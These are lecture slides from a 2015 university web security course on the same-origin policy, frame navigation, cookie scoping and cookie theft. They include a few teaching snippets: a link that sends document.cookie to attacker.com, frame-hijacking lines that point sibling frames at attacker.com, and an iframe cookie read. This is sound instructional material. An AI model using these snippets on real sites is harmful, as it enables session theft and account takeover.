Web Security: Basic Web Security Model [continued]

Spring 2015

Franziska (Franzi) Roesner
franzi@cs.washington.edu

Thanks to Dan Boneh, Dieter Gollmann, Dan Halperin, Yoshi Kohno, John Manferdelli, John Mitchell, John Ousterhout, Vitaly Shmatikov, Bennet Yee, and many others for sample slides and materials ...
• Homework 2 (crypto) is out (due 5pm on May 8)
• Lab 1 due 5pm this Friday
• Lab 2 (web security) will be out sometime next week
  – We’ll ask you for group names (up to 3 people) and passwords soon
• Looking ahead:
  – **Friday:** guest lecture (Chris Hansen, Seattle PD)
  – **Monday:** web application security
  – **Wednesday:** web session management
  – **Friday:** guest lecture (Ben Livshits, MSR) on web malware
Recall: Two Sides of Web Security

• Web browser
  – Responsible for securely confining Web content presented by visited websites

• Web applications
  – Online merchants, banks, blogs, Google Apps ...
  – Mix of server-side and client-side code
    • Server-side code written in PHP, Ruby, ASP, JSP... runs on the Web server
    • Client-side code written in JavaScript... runs in the Web browser
  – Many potential bugs: XSS, XSRF, SQL injection
Recall: Browser Sandbox

• Goal: safely execute JavaScript code provided by a website
  – No direct file access, limited access to OS, network, browser data, content that came from other websites

• Same origin policy
  – Can only access properties of documents and windows from the same domain, protocol, and port
## Same-Origin Policy

Website origin = (scheme, domain, port)

<table>
<thead>
<tr>
<th>Compared URL</th>
<th>Outcome</th>
<th>Reason</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.example.com/dir/page.html">http://www.example.com/dir/page.html</a></td>
<td>Success</td>
<td>Same protocol and host</td>
</tr>
<tr>
<td><a href="http://www.example.com/dir2/other.html">http://www.example.com/dir2/other.html</a></td>
<td>Success</td>
<td>Same protocol and host</td>
</tr>
<tr>
<td><a href="http://www.example.com:81/dir/other.html">http://www.example.com:81/dir/other.html</a></td>
<td>Failure</td>
<td>Same protocol and host but different port</td>
</tr>
<tr>
<td><a href="https://www.example.com/dir/other.html">https://www.example.com/dir/other.html</a></td>
<td>Failure</td>
<td>Different protocol</td>
</tr>
<tr>
<td><a href="http://en.example.com/dir/other.html">http://en.example.com/dir/other.html</a></td>
<td>Failure</td>
<td>Different host</td>
</tr>
<tr>
<td><a href="http://example.com/dir/other.html">http://example.com/dir/other.html</a></td>
<td>Failure</td>
<td>Different host (exact match required)</td>
</tr>
<tr>
<td><a href="http://v2.www.example.com/dir/other.html">http://v2.www.example.com/dir/other.html</a></td>
<td>Failure</td>
<td>Different host (exact match required)</td>
</tr>
</tbody>
</table>

[Example thanks to Wikipedia.]
Same-Origin Policy: DOM

Only code from same origin can **access HTML elements** on another site (or in an iframe).

www.example.com (the parent) **can** access HTML elements in the iframe (and vice versa).

www.evil.com (the parent) **cannot** access HTML elements in the iframe (and vice versa).
Who Can Navigate a Frame?

```javascript
window.open("https://www.attacker.com/...", "awglogin")
```

If bad frame can navigate sibling frames, attacker gets password!
Gadget Hijacking in Mashups

```javascript

top.frames[1].location = "http://www.attacker.com/...";
top.frames[2].location = "http://www.attacker.com/...";

... 
```
Gadget Hijacking in Mashups

Solution: Modern browsers only allow a frame to navigate its “descendent” frames
Same-Origin Policy: Cookies

- **For cookies:** Only code from same origin can read/write cookies associated with an origin.
  - Can be set via Javascript (`document.cookie=...`) or via `Set-Cookie` header in HTTP response.
  - Can narrow to subdomain/path (e.g., http://example.com can set cookie scoped to http://account.example.com/login.) *(Caveats soon!)*
  - **Secure cookie:** send only via HTTPS.
  - **HttpOnly cookie:** can’t access using JavaScript.
Same-Origin Policy: Cookies

- Browsers **automatically include cookies** with HTTP requests.
- **First-party cookie**: belongs to top-level domain.
- **Third-party cookie**: belongs to domain of embedded content.

```
www.bar.com
```

```
www.foo.com
```

```
www.bar.com’s cookie (1st party)
```

```
www.foo.com’s cookie (3rd party)
```

```
Bar’s Server
```

```
Foo’s Server
```
Same Origin Policy: Cookie Writing

**domain**: any domain suffix of URL-hostname, except top-level domain (TLD)

Which cookies can be set by `login.site.com`?

<table>
<thead>
<tr>
<th>allowed domains</th>
<th>disallowed domains</th>
</tr>
</thead>
<tbody>
<tr>
<td>✔ login.site.com</td>
<td>✗ user.site.com</td>
</tr>
<tr>
<td>✔ .site.com</td>
<td>✗ othersite.com</td>
</tr>
<tr>
<td></td>
<td>✗ .com</td>
</tr>
</tbody>
</table>

`login.site.com` can set cookies for all of `.site.com` but not for another site or TLD

Problematic for sites like `.washington.edu`

**path**: anything
Who Set the Cookie?

• Alice logs in at login.site.com
  – login.site.com sets session-id cookie for .site.com

• Alice visits evil.site.com
  – Overwrites .site.com session-id cookie with session-id of user “badguy” -- not a violation of SOP!

• Alice visits cse484.site.com to submit homework
  – cse484.site.com thinks it is talking to “badguy”

• Problem: cse484.site.com expects session-id from login.site.com, cannot tell that session-id cookie has been overwritten by a “sibling” domain
Path Separation is Not Secure

• Cookie SOP: path separation
  – When the browser visits \texttt{x.com/A},
    it does not send the cookies of \texttt{x.com/B}
  – This is done for efficiency, not security!

• DOM SOP: no path separation
  – A script from \texttt{x.com/A} can read DOM of \texttt{x.com/B}
    
    \begin{verbatim}
    <iframe src="x.com/B"></iframe>
    alert(frames[0].document.cookie);
    \end{verbatim}
Same-Origin Policy: Scripts

• When a website includes a script, that script runs in the context of the embedding website.

```html
<head>
  <script src="http://otherdomain.com/library.js"></script>
</head>


• If code in the script sets a cookie, under what origin will it be set?
Cookie Theft

• Cookies often contain authentication token (more on this next week)
  – Stealing such a cookie == accessing account

• Cookie theft via malicious JavaScript
  
  &lt;a href="#" onclick="window.location='http://attacker.com/stole.cgi?cookie='+document.cookie; return false;"&gt;Click here!&lt;/a&gt;

• Cookie theft via network eavesdropping
  – Cookies included in HTTP requests
  – One of the reasons HTTPS is important!
Firesheep

http://codebutler.com/firesheep/
Allowing Cross-Origin Communication

• Domain relaxation
  – If two frames each set document.domain to the same value, then they can communicate
    • E.g. www.facebook.com, facebook.com, and chat.facebook.com
    • Must be a suffix of the actual domain

• Access-Control-Allow-Origin: <list of domains>
  – Specifies one or more domains that may access DOM
  – Typical usage: Access-Control-Allow-Origin: *

• HTML5 postMessage
  – Lets frames send messages to each other in controlled fashion
  – Unfortunately, many bugs in how frames check sender’s origin